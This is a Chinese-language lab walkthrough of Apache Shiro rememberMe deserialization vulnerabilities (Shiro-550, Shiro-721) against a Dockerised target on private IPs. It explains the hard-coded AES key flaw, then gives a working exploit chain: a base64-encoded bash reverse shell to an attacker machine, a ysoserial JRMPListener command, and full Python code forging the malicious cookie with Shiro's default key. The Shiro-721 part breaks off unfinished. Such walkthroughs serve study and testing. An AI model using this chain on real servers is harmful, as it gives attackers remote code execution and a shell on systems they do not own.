0x00. Apache Shiro介紹
Apache Shiro是一種功能強(qiáng)大且易于使用的Java安全框架没陡,它執(zhí)行身份驗(yàn)證互订、授權(quán)甫贯、加密和會話管理,可用于保護(hù)任何應(yīng)用程序的安全赏表。
Shiro提供了應(yīng)用程序安全性API來執(zhí)行以下方面:
1)身份驗(yàn)證:證明用戶身份检诗,通常稱為用戶‘登錄’;
2)授權(quán):訪問控制瓢剿;
3)密碼術(shù):保護(hù)或隱藏?cái)?shù)據(jù)以防窺視逢慌;
4)會話管理:每個(gè)用戶的時(shí)間敏感狀態(tài)。
上述四個(gè)方面也被稱為應(yīng)用程序安全性的四個(gè)基石间狂。
Shiro還支持一些輔助功能攻泼,例如Web應(yīng)用程序安全性,單元測試和多線程支持鉴象,它們的存在也是為了加強(qiáng)上述四個(gè)方面忙菠。
0x01.?Shiro rememberMe反序列化漏洞(Shiro-550)
一、漏洞原理
Apache Shiro框架提供了記住我(RememberMe)的功能纺弊,關(guān)閉瀏覽器再次訪問時(shí)無需再登錄即可訪問牛欢。shiro默認(rèn)使用CookieRememberMeManager,對rememberMe的cookie做了加密處理淆游,在CookieRememberMeManaer類中將cookie中rememberMe字段內(nèi)容先后進(jìn)行序列化傍睹、AES加密、Base64編碼操作犹菱。服務(wù)器端識別身份解密處理cookie的流程則是:?
獲取rememberMe cookie?->base64 解碼->AES解密(加密密鑰硬編碼)->反序列化(未作過濾處理)拾稳。但是AES加密的密鑰Key被硬編碼(密鑰初始就被定義好不能動態(tài)改變的)在代碼里,這就意味著每個(gè)人通過源代碼都能拿到AES加密的密鑰已亥。因此熊赖,攻擊者可以構(gòu)造一個(gè)惡意的對象,并且對其序列化虑椎、AES加密震鹉、base64編碼后,作為cookie的rememberMe字段發(fā)送捆姜。Shiro將rememberMe進(jìn)行解密并且反序列化传趾,最終就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密鑰泄露泥技,無論shiro是什么版本都可能會導(dǎo)致該漏洞的產(chǎn)生.硬編碼是將數(shù)據(jù)直接嵌入到程序或其他可執(zhí)行對象的源代碼中浆兰。如果在返回包的 Set-Cookie?中存在 rememberMe=deleteMe?字段,那么就可能存在此漏洞珊豹。
Payload產(chǎn)生的過程:
命令 => 序列化 => AES加密 => base64編碼 => RememberMe Cookie值
在整個(gè)漏洞利用過程中簸呈,比較重要的是AES加密的密鑰,如果沒有修改默認(rèn)的密鑰那么就很容易就知道密鑰了,Payload構(gòu)造起來也是十分的簡單店茶。
二蜕便、影響版本
Apache Shiro <= 1.2.4(需要獲取AES秘鑰)
三、特征判斷
返回包中包含rememberMe=deleteMe字段
四贩幻、漏洞環(huán)境搭建
靶機(jī)環(huán)境:Cento7(192.168.110.143)轿腺、tomcat:8-jre8
攻擊機(jī)環(huán)境:Kali(192.168.110.140)两嘴、Win10(192.168.79.189)
啟動docker:systemctl start docker
獲取docker鏡像:docker pull medicean/vulapps:s_shiro_1
啟動docker鏡像: docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
五、漏洞利用
1. 檢測是否存在默認(rèn)的key及漏洞
這里我們使用 Shiro_exploit族壳,獲取key
Github項(xiàng)目地址:https://github.com/insightglacier/Shiro_exploit
使用腳本出現(xiàn)該問題:ImportError: No module named Crypto.Cipher
安裝模塊:pip install pycryptodome
注意如果安裝模塊出現(xiàn)問題憔辫,解決方式如下
第一種解決方式:
看到這一行:error: Microsoft Visual C++ 9.0 is required. Get it from?http://aka.ms/vcpython發(fā)現(xiàn)少了個(gè)插件;然后就去下載仿荆;
官網(wǎng)下載地址:https://www.microsoft.com/en-us/download/confirmation.aspx?id=44266
第二種解決方式:
python安裝目錄下的\Lib\site-packages贰您,將crypto文件夾的名字改成Crypto。
開始檢測
python2 shiro_exploit.py -u http://192.168.110.143:8080/
表示存在漏洞赖歌,并且key在右邊
2. 進(jìn)行漏洞利用
2.1. 制作反彈shell代碼
2.1.1. kali監(jiān)聽本地端口
nc -lvvp 9999
2.1.2. Java Runtime 配合 bash 編碼枉圃,
在線編碼地址:http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/192.168.110.140/9999 0>&1
編碼后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
2.2. 通過ysoserial中JRMP監(jiān)聽模塊,監(jiān)聽6666端口并執(zhí)行反彈shell命令庐冯。
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"
2.3. 使用shiro.py 生成Payload
python2 shiro.py 192.168.79.189:6666
shiro.py中代碼
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
? ? popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
? ? BS = AES.block_size
? ? pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
? ? key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
? ? iv = uuid.uuid4().bytes
? ? encryptor = AES.new(key, AES.MODE_CBC, iv)
? ? file_body = pad(popen.stdout.read())
? ? base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
? ? return base64_ciphertext
if __name__ == '__main__':
? ? payload = encode_rememberme(sys.argv[1])?
print "rememberMe={0}".format(payload.decode())
2.4. 構(gòu)造數(shù)據(jù)包發(fā)送Payload
認(rèn)證失敗時(shí)會設(shè)置deleteMe的cookie
win10上的ysoserial
kali linux上的監(jiān)聽
0x02.Shiro rememberMe反序列化漏洞(Shiro-721)
一孽亲、漏洞原理
rememberMe cookie通過AES-128-CBC模式加密,易受到Padding Oracle攻擊展父》稻ⅲ可以通過結(jié)合有效的rememberMe cookie作為Padding Oracle攻擊的前綴,然后精?制作rememberMe來進(jìn)?反序列化攻擊栖茉。
Tip:在1.2.4版本后篮绿,shiro已經(jīng)更換 AES-CBC AES-CBC 為 AES-GCM AES-GCM ,無法再通過Padding Oracle遍歷key吕漂。
二亲配、影響版本
Apache Shiro <= 1.4.1(需要一個(gè)合法的登錄賬號,基于Padding Oracle attack來實(shí)現(xiàn)的攻擊)
三惶凝、特征判斷
由于漏洞利用需要一個(gè)合法的登錄賬號吼虎,這里利用賬號正常登陸獲取一個(gè)有效的rememberMe cookie,并記錄下這個(gè)rememberMe的值苍鲜。
四思灰、漏洞環(huán)境搭建
靶機(jī)環(huán)境:Cento7(192.168.110.143)、tomcat:8-jre8
攻擊機(jī)環(huán)境:Kali(192.168.110.140)混滔、Win10(192.168.79.189)
git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721
五洒疚、漏洞利用
1.?登錄 Shiro 測試賬戶獲取合法 Cookie(勾選Remember Me)
明天補(bǔ)上